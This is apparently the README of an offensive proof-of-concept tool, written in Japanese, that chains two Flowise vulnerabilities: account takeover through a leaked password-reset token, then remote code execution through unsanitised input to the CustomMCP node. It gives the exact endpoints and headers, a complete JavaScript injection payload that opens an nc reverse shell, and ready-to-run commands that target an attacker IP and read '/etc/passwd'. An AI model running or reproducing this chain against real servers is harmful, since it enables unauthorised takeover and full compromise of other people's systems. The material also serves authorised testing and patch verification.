
# CVE-2025-58434(アカウント乗っ取り)および CVE-2025-59528(RCE)向けモジュール式PoC(Flowise用) 未認証のトークン漏洩からリバースシェルまたはカスタムコマンドによるリモートコード実行まで、攻撃チェーン全体を自動化します。
⚠️ 教育目的および許可されたセキュリティ研究専用です。
このツールを、自分が所有していない、または書面による許可を得ていないシステムに対して実行することは違法です。
このリポジトリは、Flowise における2つのクリティカルな脆弱性を、単一のモジュール式 PoC ツールに統合したものです。
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| タイプ | アカウント乗っ取り | リモートコード実行 |
| 認証要求 | なし | あり(有効なアカウント) |
| CVSS | 9.8 Critical | Critical |
| 影響 | Cloud + セルフホスト | セルフホスト |
2つの脆弱性は自然に連鎖します。CVE-2025-58434 は認証なしのアカウント乗っ取りを提供し、これにより CVE-2025-59528 の認証要件を満たし、1回の自動実行で認証なしの RCE を達成します。
根本原因: forgot-password エンドポイントが、パスワードリセットトークン(tempToken)をメール経由のみで送信する代わりに、HTTP レスポンスボディに直接返します。
攻撃手順:
POST /api/v1/account/forgot-passwordtempToken を読み取る — メールアクセスは不要POST /api/v1/account/reset-password → 新しいパスワードを設定漏洩したレスポンス(一部抜粋):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
根本原因: CustomMCP ノードは、ユーザーが提供した mcpServerConfig をサニタイズせずに JavaScript の Function() コンストラクタに直接渡します。Flowise は Node.js で動作するため、注入されたコードは child_process、fs、およびすべての Node.js 組み込み機能に完全にアクセスできます。
脆弱なコードパス:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← サニタイズされていないユーザー入力
必要なヘッダー:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
デフォルトのインジェクションペイロード(リバースシェル):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
注: リバースシェルペイロードは
cp.exec()(非同期 / fire-and-forget)を使用するため、HTTP リクエストは即座に完了し、ツールがタイムアウトしません。通常のコマンドはcp.execSync()を使用し、インラインで出力を返します。
攻撃者 Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← トークンがレスポンスで漏洩
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO 完了
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← クッキーを抽出
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() がバックグラウンドで起動]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
攻撃者の nc リスナー ←───────────────── サーバーが接続
✓ 認証情報ゼロから完全な RCE
| コンポーネント | 状態 |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | CVE-2025-58434 の影響あり |
| Flowise セルフホスト(パッチ前の全バージョン) | 両方の CVE の影響あり |
パッチが適用されたリリース番号については、公式の Flowise セキュリティアドバイザリ を確認してください。
flowise-dual-cve-poc/
├── flowise_poc.py # メイン PoC — 全モジュール + チェーンモード
├── requirements.txt # Python 依存関係
├── README.md # このファイル
└── DISCLAIMER.md # 完全な法的通知
requests ライブラリgit clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
モードフラグは不要です。 --chain や --module を指定せずにスクリプトを実行すると、自動的にフルチェーンモードで実行されます。デフォルトの RCE ペイロードはリバースシェルです。--lhost と --lport を指定してください。
# 最小限の呼び出し — フルチェーン + リバースシェル
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
実行前にリスナーを起動してください:
nc -lvnp 4444
python3 flowise_poc.py -h
トークン漏洩 → パスワードリセット → ログイン → RCE の4ステップをすべて実行します。
# リバースシェル(デフォルトペイロード)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# リバースシェルの代わりにカスタムコマンド
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# カスタムATOパスワード + リバースシェル
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
tempToken を漏洩させ、アカウントのパスワードをリセットします。ログイン/RCE の前で停止します。
# デフォルトの新しいパスワード
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# カスタムの新しいパスワード
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# 生のJSONレスポンスを表示
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
認証を行い、手動使用のために3つのセッションクッキーを抽出します。
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# スクリプト用のJSON出力
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
サーバー上で実行します。--token が指定されていない場合は自動ログインします。
# リバースシェル — 自動ログイン
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# カスタムコマンド — 自動ログイン
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# 手動トークン — リバースシェル
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 3つすべてのクッキーを手動で指定
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)